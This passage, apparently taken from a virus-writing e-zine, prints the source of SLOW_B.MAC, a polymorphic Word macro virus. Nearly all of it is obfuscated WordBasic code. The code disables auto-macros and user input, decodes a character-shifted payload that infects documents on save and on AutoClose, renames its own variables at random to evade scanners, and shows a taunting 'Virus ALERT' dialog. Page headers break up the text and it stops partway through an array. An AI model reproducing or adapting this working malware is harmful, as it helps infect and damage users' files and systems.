Function GenName$MyVarA4$ = ""For MyVarI1 = FixedConstant_1 To FixedConstant_10 + Rnd() * FixedConstant_10 : MyVarA4$ =

MyVarA4$ + Chr$(Rnd() * FixedConstant_22 + FixedConstant_ 65) : Next MyVarI1GenName$ = MyVarA4$

End Function

Sub MutateAllNamesFor MyVarI1 = FixedConstant_0 To PolyNames - FixedConstant_1

EditReplace .Find = PolymorphNamesTable$(MyVarI1), .Rep lace = GenName$, .Direction =FixedConstant_0, .MatchCase = FixedConstant_1, .WholeWo rd = FixedConstant_0, .PatternMatch =FixedConstant_0, .SoundsLike = FixedConstant_0, .Replac eAll, .Format = FixedConstant_0, .Wrap

= FixedConstant_1, .FindAllWordForms = FixedConstant_0Next MyVarI1

End Sub

Sub InitializePolymorphTables=================================================== ===========================Macro name: AutoCloseEncrypted [AUTOCLOSEENCRYPTED] "U"Encryption key: E0--------------------------------------------------- ---------------------------Dim Shared JINQPQMFRTLHSQTNFDim Shared USBSNKAOFJNALCBMGVSDim Shared PJOKOJBSMPTDim Shared JBHBTPLCTCSFMPIOBESDim Shared NMGOJRIJSUESQUVBDim Shared ACRNIVGPSLPCFHODim Shared KNLQVMEMFPQPEJTKDim Shared PGLJSTPUPTPNGROOLVDim Shared LLTDOPVPFRIMDim Shared UPENJTSLBNMLUIHDim Shared IMGSGFQRMNRKTMQDim Shared OHIUCFVEUCFPIFVESEJ$(200 )Dim Shared TDRMLJCEKTDim Shared LJJVIBFHTOBTDim Shared BGUSBDDDIDMDim Shared PDDPUMDGDHTTSTG$(31) 'FGQSLUSJEKSAEDim Shared LNEJMKPOJQKN

Sub MAIN

Page 300: EZine - Asterix #2

SLOW_B.MAC

On Error Goto VVFLNFCKLQGHDTGMJINQPQMFRTLHSQTNF =0USBSNKAOFJNALCBMGVS =1DisableInput USBSNKAOFJNALCBMGVSPJOKOJBSMPT =2JBHBTPLCTCSFMPIOBES =7NMGOJRIJSUESQUVB =10ACRNIVGPSLPCFHO =20KNLQVMEMFPQPEJTK =22PGLJSTPUPTPNGROOLV =65LLTDOPVPFRIM = 34UPENJTSLBNMLUIH =64TDRMLJCEKT =38LJJVIBFHTOBT = 120BGUSBDDDIDM =181LNEJMKPOJQKN =31RBQSGJPLBQIQ$ = AppInfo$(PJOKOJBSMPT)OJUEODSIIGNCH = Val(Left$(RBQSGJPLBQIQ$, USBSNKAOFJNALCBMGVS))If OJUEODSIIGNCH <> JBHBTPLCTCSFMPIOBESThen Goto VVFLNFCKLQGHDTGMCall OENCMISQTALHDCScreenUpdating JINQPQMFRTLHSQTNFDisableAutoMacros USBSNKAOFJNALCBMGVSOOVQGUSBFLIEQCG

GGDTNQQUHVFHJFR$ = WindowName$()'FGQSLUSJEKSAEToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Edit'FGQSLUSJEKSAEEditClear - ACRNIVGPSLPCFHOFor FGQSLUSJEKSAE = JINQPQMFRTLHSQTNFTo BGUSBDDDIDM : Insert OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) : InsertPara : Next FGQSLUSJEKSAE

EditReplace .Find = Chr$(UPENJTSLBNMLUIH) + Chr$(UPENJTS LBNMLUIH), .Replace = Chr$(LLTDOPVPFRIM), .Direction = JINQPQMFRTLHSQTNF, .MatchCa se = USBSNKAOFJNALCBMGVS, .WholeWord =

JINQPQMFRTLHSQTNF, .PatternMatch = JINQPQMFRTLHSQTNF, . SoundsLike = JINQPQMFRTLHSQTNF, .ReplaceAll, .Format = JINQPQMFRTLHSQTNF, .Wrap = USBSNKAO FJNALCBMGVS, .FindAllWordForms =JINQPQMFRTLHSQTNF

NNRFBRGQUGQUTUVKBMMKQHICJLCHOIDocClose USBSNKAOFJNALCBMGVSActivate GGDTNQQUHVFHJFR$

Call GNQPDBMBJMUToolsMacro .Name = "GNQPDBMBJMU", .Show = USBSNKAOFJNALCBMGVS, .Delete

VVFLNFCKLQGHDTGM:DisableAutoMacros JINQPQMFRTLHSQTNFScreenUpdating USBSNKAOFJNALCBMGVSDisableInput JINQPQMFRTLHSQTNFEnd Sub

Sub OOVQGUSBFLIEQCGFor FGQSLUSJEKSAE = JINQPQMFRTLHSQTNFTo BGUSBDDDIDMVFBJPMMFHHVDV$ =""LUQSSBMOBPDPEQPTBLA = Len(OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE))For JRBFDDLKJSL = USBSNKAOFJNALCBMGVSTo LUQSSBMOBPDPEQPTBLAVFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Asc(Mid$ (OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE),JRBFDDLKJSL, USBSNKAOFJNALCBMGVS)) - IMGSGFQRMNRKTMQ)Next JRBFDDLKJSLOHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) = VFBJPMMFHHVDV$Next FGQSLUSJEKSAE

Page 301: EZine - Asterix #2

SLOW_B.MAC

End Sub

Sub NNRFBRGQUGQUFor FGQSLUSJEKSAE = JINQPQMFRTLHSQTNFTo BGUSBDDDIDMInsert "OHIUCFVEUCFPIFVESEJ$(" + Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +OHIUCFVEUCFPIFVESEJ$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)InsertParaNext FGQSLUSJEKSAEFor FGQSLUSJEKSAE = JINQPQMFRTLHSQTNFTo LNEJMKPOJQKN - USBSNKAOFJNALCBMGVSInsert "PDDPUMDGDHTTSTG$("+ Str$(FGQSLUSJEKSAE) + ")=" + Chr$(LLTDOPVPFRIM) +PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE) + Chr$(LLTDOPVPFRIM)InsertParaNext FGQSLUSJEKSAEEnd Sub

Function TQUJCUASMNBCNEDQNM$VFBJPMMFHHVDV$ =""For FGQSLUSJEKSAE = USBSNKAOFJNALCBMGVSTo NMGOJRIJSUESQUVB + Rnd() * NMGOJRIJSUESQUVB :VFBJPMMFHHVDV$ = VFBJPMMFHHVDV$ + Chr$(Rnd() * KNLQVMEMFPQPEJTK + PGLJSTPUPTPNGROOLV) :NextFGQSLUSJEKSAETQUJCUASMNBCNEDQNM$ = VFBJPMMFHHVDV$End Function

Sub TUVKBMMKQHICJLCHOIFor FGQSLUSJEKSAE = JINQPQMFRTLHSQTNFTo LNEJMKPOJQKN - USBSNKAOFJNALCBMGVSEditReplace .Find = PDDPUMDGDHTTSTG$(FGQSLUSJEKSAE), .R eplace = TQUJCUASMNBCNEDQNM$, .Direction = JINQPQMFRTLHSQTNF, .MatchCase = USBSNKAOFJNA LCBMGVS, .WholeWord =JINQPQMFRTLHSQTNF, .PatternMatch = JINQPQMFRTLHSQTNF, . SoundsLike = JINQPQMFRTLHSQTNF, .ReplaceAll, .Format = JINQPQMFRTLHSQTNF, .Wrap = USBSNKAO FJNALCBMGVS, .FindAllWordForms =JINQPQMFRTLHSQTNFNext FGQSLUSJEKSAEEnd Sub

Sub OENCMISQTALHDCIMGSGFQRMNRKTMQ =4OHIUCFVEUCFPIFVESEJ$(0) = "Hmq$Wlevih$NMRUTUQJVXPLWUXRJ"OHIUCFVEUCFPIFVESEJ$(1) = "Hmq$Wlevih$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(2) = "Hmq$Wlevih$TNSOSNFWQTX"OHIUCFVEUCFPIFVESEJ$(3) = "Hmq$Wlevih$NFLFXTPGXGWJQTMSFIW"OHIUCFVEUCFPIFVESEJ$(4) = "Hmq$Wlevih$RQKSNVMNWYIWUYZF"OHIUCFVEUCFPIFVESEJ$(5) = "Hmq$Wlevih$EGVRMZKTWPTGJLS"OHIUCFVEUCFPIFVESEJ$(6) = "Hmq$Wlevih$ORPUZQIQJTUTINXO"OHIUCFVEUCFPIFVESEJ$(7) = "Hmq$Wlevih$TKPNWXTYTXTRKVSSPZ"OHIUCFVEUCFPIFVESEJ$(8) = "Hmq$Wlevih$PPXHSTZTJVMQ"OHIUCFVEUCFPIFVESEJ$(9) = "Hmq$Wlevih$YTIRNXWPFRQPYML"OHIUCFVEUCFPIFVESEJ$(10) = "Hmq$Wlevih$MQKWKJUVQRVOXQU"OHIUCFVEUCFPIFVESEJ$(11) = "Hmq$Wlevih$SLMYGJZIYGJTMJZIWIN(,644-"OHIUCFVEUCFPIFVESEJ$(12) = "Hmq$Wlevih$XHVQPNGIOX"OHIUCFVEUCFPIFVESEJ$(13) = "Hmq$Wlevih$PNNZMFJLXSFX"OHIUCFVEUCFPIFVESEJ$(14) = "Hmq$Wlevih$FKYWFHHHMHQ"OHIUCFVEUCFPIFVESEJ$(15) = "Hmq$Wlevih$THHTYQHKHLXXWXK(,75-+JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(16) = "Hmq$Wlevih$PRINQOTSNUOR"OHIUCFVEUCFPIFVESEJ$(17) = ""OHIUCFVEUCFPIFVESEJ$(18) = "Wyf$QEMR"OHIUCFVEUCFPIFVESEJ$(19) = "Sr$Ivvsv$Ksxs$ZZJPRJGOPUKLHXKQ"OHIUCFVEUCFPIFVESEJ$(20) = "NMRUTUQJVXPLWUXRJ$A$4"OHIUCFVEUCFPIFVESEJ$(21) = "YWFWROESJNREPGFQKZW$A$5"OHIUCFVEUCFPIFVESEJ$(22) = "HmwefpiMrtyx$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(23) = "TNSOSNFWQTX$A$6"OHIUCFVEUCFPIFVESEJ$(24) = "NFLFXTPGXGWJQTMSFIW$A$;"OHIUCFVEUCFPIFVESEJ$(25) = "RQKSNVMNWYIWUYZF$A$54"OHIUCFVEUCFPIFVESEJ$(26) = "EGVRMZKTWPTGJLS$A$64"

Page 302: EZine - Asterix #2

SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(27) = "ORPUZQIQJTUTINXO$A$66"OHIUCFVEUCFPIFVESEJ$(28) = "TKPNWXTYTXTRKVSSPZ$A$:9"OHIUCFVEUCFPIFVESEJ$(29) = "PPXHSTZTJVMQ$A$78"OHIUCFVEUCFPIFVESEJ$(30) = "YTIRNXWPFRQPYML$A$:8"OHIUCFVEUCFPIFVESEJ$(31) = "XHVQPNGIOX$A$7<"OHIUCFVEUCFPIFVESEJ$(32) = "PNNZMFJLXSFX$A$564"OHIUCFVEUCFPIFVESEJ$(33) = "FKYWFHHHMHQ$A$5<5"OHIUCFVEUCFPIFVESEJ$(34) = "PRINQOTSNUOR$A$75"OHIUCFVEUCFPIFVESEJ$(35) = "VFUWKNTPFUMU($A$EttMrjs(,TNSOSNFWQTX-"OHIUCFVEUCFPIFVESEJ$(36) = "SNYISHWMMKRGL$A$Zep,Pijx(,VFUWKNTPFUMU(0$YWFWROESJNREPGFQKZW--"OHIUCFVEUCFPIFVESEJ$(37) ="Mj$SNYISHWMMKRGL$@B$NFLFXTPGXGWJQTMSFIW$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"OHIUCFVEUCFPIFVESEJ$(38) = "Gepp$SIRGQMWUXEPLHG"OHIUCFVEUCFPIFVESEJ$(39) = "+3333$fikmr$sj$lmhhir$tevx$3333"OHIUCFVEUCFPIFVESEJ$(40) = "Wls{Fs|"OHIUCFVEUCFPIFVESEJ$(41) = "GyvJmpi($A$JmpiReqi(,-"OHIUCFVEUCFPIFVESEJ$(42) = "Mj$GyvJmpi($A$DDDD$Xlir$Ksxs$ZZJPRJGOPUKLHXKQ"OHIUCFVEUCFPIFVESEJ$(43) = ""OHIUCFVEUCFPIFVESEJ$(44) = "Mj$GligoMrwxeppih,4-$A$4$Xlir"OHIUCFVEUCFPIFVESEJ$(45) = "Mrjigx,5-"OHIUCFVEUCFPIFVESEJ$(46) = "XsspwStxmsrwWezi$2KpsfepHsxTvsqtx$A$40$2JewxWeziw$ A$4"OHIUCFVEUCFPIFVESEJ$(47) = "Ksxs$ZZJPRJGOPUKLHXKQ"OHIUCFVEUCFPIFVESEJ$(48) = "Irh$Mj"OHIUCFVEUCFPIFVESEJ$(49) = ""OHIUCFVEUCFPIFVESEJ$(50) = "Hmq$hpk$Ew$JmpiWeziEw"OHIUCFVEUCFPIFVESEJ$(51) = "KixGyvZepyiw$hpk"OHIUCFVEUCFPIFVESEJ$(52) = "Mj$hpk2Jsvqex$A$4$Xlir"OHIUCFVEUCFPIFVESEJ$(53) = "hpk2Jsvqex$A$5"OHIUCFVEUCFPIFVESEJ$(54) = "JmpiWeziEw$hpk"OHIUCFVEUCFPIFVESEJ$(55) = "Irh$Mj"OHIUCFVEUCFPIFVESEJ$(56) = ""OHIUCFVEUCFPIFVESEJ$(57) = "Mj$GligoMrwxeppih,5-$A$4$Xlir"OHIUCFVEUCFPIFVESEJ$(58) = "Mrjigx,7-"OHIUCFVEUCFPIFVESEJ$(59) = "JmpiWezi"OHIUCFVEUCFPIFVESEJ$(60) = "Irh$Mj"OHIUCFVEUCFPIFVESEJ$(61) = ""OHIUCFVEUCFPIFVESEJ$(62) = "ZZJPRJGOPUKLHXKQ>"OHIUCFVEUCFPIFVESEJ$(63) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(64) = ""OHIUCFVEUCFPIFVESEJ$(65) = "Wyf$Wls{Fs|"OHIUCFVEUCFPIFVESEJ$(66) = "Tevpeqirxr}Tyg$A$He},Rs{,--"OHIUCFVEUCFPIFVESEJ$(67) = "Mj$Tevpeqirxr}Tyg$A$8$Sv$Tevpeqirxr}Tyg$A$55$Xlir"OHIUCFVEUCFPIFVESEJ$(68) = "Fiit"OHIUCFVEUCFPIFVESEJ$(69) = "Fikmr$Hmepsk$YwivHmepsk$7<40$6680$DDZmvyw$EPIVX%DD "OHIUCFVEUCFPIFVESEJ$(70) ="Xi|x$6<0$<0$78=0$570$DD]sy+vi$mrjigxih$f}$[svhQegv s2WpszeoHmgxexsv2F$zmvywDD0$2Xi|x5"OHIUCFVEUCFPIFVESEJ$(71) ="Xi|x$590$6<0$7:40$570$DD[ipgsqi$xs$xli$PQI$,Peqiv+ w$Qegvs$Irkmri-$ziv2$5244DD0$2Xi|x6"OHIUCFVEUCFPIFVESEJ$(72) = "Xi|x$5890$950$5670$570$DDHmw$mw$Pizip$865DD0$2Xi|x 7"OHIUCFVEUCFPIFVESEJ$(73) ="Xi|x$790$;70$7860$570$DD,g-$91qev1=;0$Rewx}$Peqiv$ **$Ykp}$Pywiv0$WpszeomeDD0$2Xi|x8"OHIUCFVEUCFPIFVESEJ$(74) ="Xi|x$780$=<0$7870$570$DDHmw$mw$xli$jmvwx${svph$xvy i$tsp}qsvtlmg$qegvs$zmvyw$%DD0$2Xi|x9"OHIUCFVEUCFPIFVESEJ$(75) = "TywlFyxxsr$5640$5<<0$58;0$650$DDEggitx$3$WylpewDD0 $2Tywl5"OHIUCFVEUCFPIFVESEJ$(76) ="Xi|x$5440$5:90$66<0$570$DDFmk$jygo$xs$xli$fmk$fs|i v$Z2Q2DD0$2Xi|x:"OHIUCFVEUCFPIFVESEJ$(77) = "Irh$Hmepsk"OHIUCFVEUCFPIFVESEJ$(78) = "Hmq$hpk$Ew$YwivHmepsk"OHIUCFVEUCFPIFVESEJ$(79) = "Hmepsk,hpk-"OHIUCFVEUCFPIFVESEJ$(80) = "Irh$Mj"OHIUCFVEUCFPIFVESEJ$(81) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(82) = ""

Page 303: EZine - Asterix #2

SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(83) = "Jyrgxmsr$GligoMrwxeppih,n-"OHIUCFVEUCFPIFVESEJ$(84) = "Sr$Ivvsv$Viwyqi$Ri|x"OHIUCFVEUCFPIFVESEJ$(85) = "GligoMrwxeppih$A$4"OHIUCFVEUCFPIFVESEJ$(86) = "Jsv$m$A$5$Xs$GsyrxQegvsw,n-"OHIUCFVEUCFPIFVESEJ$(87) = "Mj$QegvsReqi(,m0$n-$A$DDEyxsGpswiDD$Xlir$GligoMrwx eppih$A$5"OHIUCFVEUCFPIFVESEJ$(88) = "Ri|x$m"OHIUCFVEUCFPIFVESEJ$(89) = "Irh$Jyrgxmsr"OHIUCFVEUCFPIFVESEJ$(90) = ""OHIUCFVEUCFPIFVESEJ$(91) = "Wyf$Mrjigx,[lexXsMrjigx-"OHIUCFVEUCFPIFVESEJ$(92) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"OHIUCFVEUCFPIFVESEJ$(93) = "XsspwQegvs$2Reqi$A$DDEyxsGpswiDD0$2Wls{$A$[lexXsMr jigx0$2Ihmx"OHIUCFVEUCFPIFVESEJ$(94) = "IhmxGpiev$1$64"OHIUCFVEUCFPIFVESEJ$(95) = ""OHIUCFVEUCFPIFVESEJ$(96) = "+3333"OHIUCFVEUCFPIFVESEJ$(97) = "+3333$Zps~irmi$tvz}gl$XHVQPNGIOX$vmehosz$oshy$qeov e"OHIUCFVEUCFPIFVESEJ$(98) = "+3333$zmhmxipre$gewx$1$riqirmx$%"OHIUCFVEUCFPIFVESEJ$(99) = "+3333"OHIUCFVEUCFPIFVESEJ$(100 ) ="Jsv$m$A$4$Xs$XHVQPNGIOX$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"OHIUCFVEUCFPIFVESEJ$(101 ) = "+3333"OHIUCFVEUCFPIFVESEJ$(102 ) = "+3333$tviqirre$m$mhi$sh$vmehosz$DDWyf$SvmkmrepQegv sFsh}DD/5"OHIUCFVEUCFPIFVESEJ$(103 ) = "+3333$e~$ts$DDWyf$SIRGQMWUXEPLHGDD15"OHIUCFVEUCFPIFVESEJ$(104 ) = "+3333$zipqm$ts~svri$yvgmx$xmixs$osrwxerx}$%%%"OHIUCFVEUCFPIFVESEJ$(105 ) = "+3333"OHIUCFVEUCFPIFVESEJ$(106 ) ="Jsv$m$A$PNNZMFJLXSFX$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,m-$>$MrwivxTeve$>$Ri|x$m"OHIUCFVEUCFPIFVESEJ$(107 ) ="IhmxVitpegi$2Jmrh$A$Glv(,:8-$/$Glv(,:8-0$2Vitpegi$ A$Glv(,78-0$2Hmvigxmsr$A$40$2QexglGewi$A$50$2[lspi[svh$A$40$2TexxivrQexgl$A$40$2WsyrhwPmoi$A$4 0$2VitpegiEpp0$2Jsvqex$A$40$2[vet$A$50$2JmrhEpp[svhJsvqw$A$4"OHIUCFVEUCFPIFVESEJ$(108 ) = ""OHIUCFVEUCFPIFVESEJ$(109 ) = "MQKWKJUVQRVOXQU$A$1$Mrx,,8$/$Vrh,-$.$54--"OHIUCFVEUCFPIFVESEJ$(110 ) = "Gepp$SSZUKYWFJPMIUGK"OHIUCFVEUCFPIFVESEJ$(111 ) = "Mrwivx$DDMQKWKJUVQRVOXQU$A$DD$/$Wxv(,1$MQKWKJUVQRVOXQU-"OHIUCFVEUCFPIFVESEJ$(112 ) = "MrwivxTeve"OHIUCFVEUCFPIFVESEJ$(113 ) = "RRVJFVKUYKUY"OHIUCFVEUCFPIFVESEJ$(114 ) = "HsgGpswi$5"OHIUCFVEUCFPIFVESEJ$(115 ) = "Egxmzexi$KKHXRUUYLZJLNJV("OHIUCFVEUCFPIFVESEJ$(116 ) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(117 ) = ""OHIUCFVEUCFPIFVESEJ$(118 ) = "Wyf$SvmkmrepQegvsFsh}"OHIUCFVEUCFPIFVESEJ$(119 ) = "+3333$irh$sj$Lmhhir$tevx$3333"OHIUCFVEUCFPIFVESEJ$(120 ) = "WgviirYthexmrk$NMRUTUQJVXPLWUXRJ"OHIUCFVEUCFPIFVESEJ$(121 ) = "HmwefpiEyxsQegvsw$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(122 ) = "SSZUKYWFJPMIUGK"OHIUCFVEUCFPIFVESEJ$(123 ) = ""OHIUCFVEUCFPIFVESEJ$(124 ) = "KKHXRUUYLZJLNJV($A$[mrhs{Reqi(,-"OHIUCFVEUCFPIFVESEJ$(125 ) = "+JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(126 ) ="XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Ihmx"OHIUCFVEUCFPIFVESEJ$(127 ) = "+JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(128 ) = "IhmxGpiev$1$EGVRMZKTWPTGJLS"OHIUCFVEUCFPIFVESEJ$(129 ) ="Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ$>$Mrwivx$SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$>$MrwivxTeve$>$Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(130 ) = ""OHIUCFVEUCFPIFVESEJ$(131 ) ="IhmxVitpegi$2Jmrh$A$Glv(,YTIRNXWPFRQPYML-$/$Glv(,Y TIRNXWPFRQPYML-0$2Vitpegi$A$Glv(,PPXHSTZTJVMQ-0$2Hmvigxmsr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVXPLWUXRJ0$2TexxivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVX"+"PLWUXRJ0$2VitpegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJsvqw$A$NMRUTUQJVXPLWUXRJ"

Page 304: EZine - Asterix #2

SLOW_B.MAC

OHIUCFVEUCFPIFVESEJ$(132 ) = ""OHIUCFVEUCFPIFVESEJ$(133 ) = "RRVJFVKUYKUY"OHIUCFVEUCFPIFVESEJ$(134 ) = "XYZOFQQOULMGNPGLSM"OHIUCFVEUCFPIFVESEJ$(135 ) = "HsgGpswi$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(136 ) = "Egxmzexi$KKHXRUUYLZJLNJV("OHIUCFVEUCFPIFVESEJ$(137 ) = ""OHIUCFVEUCFPIFVESEJ$(138 ) = "Gepp$KRUTHFQFNQY"OHIUCFVEUCFPIFVESEJ$(139 ) ="XsspwQegvs$2Reqi$A$DDKRUTHFQFNQYDD0$2Wls{$A$YWFWROESJNREPGFQKZW0$2Hipixi"OHIUCFVEUCFPIFVESEJ$(140 ) = ""OHIUCFVEUCFPIFVESEJ$(141 ) = "ZZJPRJGOPUKLHXKQ>"OHIUCFVEUCFPIFVESEJ$(142 ) = "HmwefpiEyxsQegvsw$NMRUTUQJVXPLWUXRJ"OHIUCFVEUCFPIFVESEJ$(143 ) = "WgviirYthexmrk$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(144 ) = "HmwefpiMrtyx$NMRUTUQJVXPLWUXRJ"OHIUCFVEUCFPIFVESEJ$(145 ) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(146 ) = ""OHIUCFVEUCFPIFVESEJ$(147 ) = "Wyf$SSZUKYWFJPMIUGK"OHIUCFVEUCFPIFVESEJ$(148 ) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"OHIUCFVEUCFPIFVESEJ$(149 ) = "ZJFNTQQJLLZHZ($A$DDDD"OHIUCFVEUCFPIFVESEJ$(150 ) = "PYUWWFQSFTHTIUTXFPE$A$Pir,SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI--"OHIUCFVEUCFPIFVESEJ$(151 ) = "Jsv$NVFJHHPONWP$A$YWFWROESJNREPGFQKZW$Xs$PYUWWFQSFTHTIUTXFPE"OHIUCFVEUCFPIFVESEJ$(152 ) ="ZJFNTQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Ewg,Qmh(,SL MYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-0$NVFJHHPONWP0$YWFWROESJNREPGFQKZW--$1$MQKWKJUVQRVOXQU-"OHIUCFVEUCFPIFVESEJ$(153 ) = "Ri|x$NVFJHHPONWP"OHIUCFVEUCFPIFVESEJ$(154 ) = "SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$A$ZJFNTQQJLLZHZ("OHIUCFVEUCFPIFVESEJ$(155 ) = "Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(156 ) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(157 ) = ""OHIUCFVEUCFPIFVESEJ$(158 ) = "Wyf$RRVJFVKUYKUY"OHIUCFVEUCFPIFVESEJ$(159 ) = "Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$FKYWFHHHMHQ"OHIUCFVEUCFPIFVESEJ$(160 ) ="Mrwivx$DDSLMYGJZIYGJTMJZIWIN(,DD$/$Wxv(,JKUWPYWNIO WEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$SLMYGJZIYGJTMJZIWIN(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"OHIUCFVEUCFPIFVESEJ$(161 ) = "MrwivxTeve"OHIUCFVEUCFPIFVESEJ$(162 ) = "Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(163 ) ="Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(164 ) ="Mrwivx$DDTHHTYQHKHLXXWXK(,DD$/$Wxv(,JKUWPYWNIOWEI-$/$DD-ADD$/$Glv(,PPXHSTZTJVMQ-$/$THHTYQHKHLXXWXK(,JKUWPYWNIOWEI-$/$Glv(,PPXHSTZTJVMQ-"OHIUCFVEUCFPIFVESEJ$(165 ) = "MrwivxTeve"OHIUCFVEUCFPIFVESEJ$(166 ) = "Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(167 ) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(168 ) = ""OHIUCFVEUCFPIFVESEJ$(169 ) = "Jyrgxmsr$XUYNGYEWQRFGRIHURQ("OHIUCFVEUCFPIFVESEJ$(170 ) = "ZJFNTQQJLLZHZ($A$DDDD"OHIUCFVEUCFPIFVESEJ$(171 ) ="Jsv$JKUWPYWNIOWEI$A$YWFWROESJNREPGFQKZW$Xs$RQKSNVMNWYIWUYZF$/$Vrh,-$.$RQKSNVMNWYIWUYZF$>$ZJFNTQQJLLZHZ($A$ZJFNTQQJLLZHZ($/$Glv(,Vrh,-$.$ORPUZQIQ JTUTINXO$/$TKPNWXTYTXTRKVSSPZ-$>$Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(172 ) = "XUYNGYEWQRFGRIHURQ($A$ZJFNTQQJLLZHZ("OHIUCFVEUCFPIFVESEJ$(173 ) = "Irh$Jyrgxmsr"OHIUCFVEUCFPIFVESEJ$(174 ) = ""OHIUCFVEUCFPIFVESEJ$(175 ) = "Wyf$XYZOFQQOULMGNPGLSM"OHIUCFVEUCFPIFVESEJ$(176 ) ="Jsv$JKUWPYWNIOWEI$A$NMRUTUQJVXPLWUXRJ$Xs$PRINQOTSNUOR$1$YWFWROESJNREPGFQKZW"OHIUCFVEUCFPIFVESEJ$(177 ) ="IhmxVitpegi$2Jmrh$A$THHTYQHKHLXXWXK(,JKUWPYWNIOWEI -0$2Vitpegi$A$XUYNGYEWQRFGRIHURQ(0$2Hmvigxmsr$A$NMRUTUQJVXPLWUXRJ0$2QexglGewi$A$YWFWROESJNREPGFQKZW0$2[lspi[svh$A$NMRUTUQJVXPLWUXRJ0$2TexxivrQexgl$A$NMRUTUQJVXPLWUXRJ0$2WsyrhwPmoi$A$NMRUTUQJVXPLWUXRJ0$2Vit" +"pegiEpp0$2Jsvqex$A$NMRUTUQJVXPLWUXRJ0$2[vet$A$YWFWROESJNREPGFQKZW0$2JmrhEpp[svhJsvqw$A$NMRUTU

Page 305: EZine - Asterix #2

SLOW_B.MAC

QJVXPLWUXRJ"OHIUCFVEUCFPIFVESEJ$(178 ) = "Ri|x$JKUWPYWNIOWEI"OHIUCFVEUCFPIFVESEJ$(179 ) = "Irh$Wyf"OHIUCFVEUCFPIFVESEJ$(180 ) = ""OHIUCFVEUCFPIFVESEJ$(181 ) = "Wyf$SIRGQMWUXEPLHG"PDDPUMDGDHTTSTG$(0) = "IMGSGFQRMNRKTMQ"PDDPUMDGDHTTSTG$(1) = "OHIUCFVEUCFPIFVESEJ"PDDPUMDGDHTTSTG$(2) = "PDDPUMDGDHTTSTG"PDDPUMDGDHTTSTG$(3) = "JINQPQMFRTLHSQTNF"PDDPUMDGDHTTSTG$(4) = "NMGOJRIJSUESQUVB"PDDPUMDGDHTTSTG$(5) = "KNLQVMEMFPQPEJTK"PDDPUMDGDHTTSTG$(6) = "JBHBTPLCTCSFMPIOBES"PDDPUMDGDHTTSTG$(7) = "USBSNKAOFJNALCBMGVS"PDDPUMDGDHTTSTG$(8) = "ACRNIVGPSLPCFHO"PDDPUMDGDHTTSTG$(9) = "PJOKOJBSMPT"PDDPUMDGDHTTSTG$(10) = "PGLJSTPUPTPNGROOLV"PDDPUMDGDHTTSTG$(11) = "LLTDOPVPFRIM"PDDPUMDGDHTTSTG$(12) = "UPENJTSLBNMLUIH"PDDPUMDGDHTTSTG$(13) = "TDRMLJCEKT"PDDPUMDGDHTTSTG$(14) = "LJJVIBFHTOBT"PDDPUMDGDHTTSTG$(15) = "BGUSBDDDIDM"PDDPUMDGDHTTSTG$(16) = 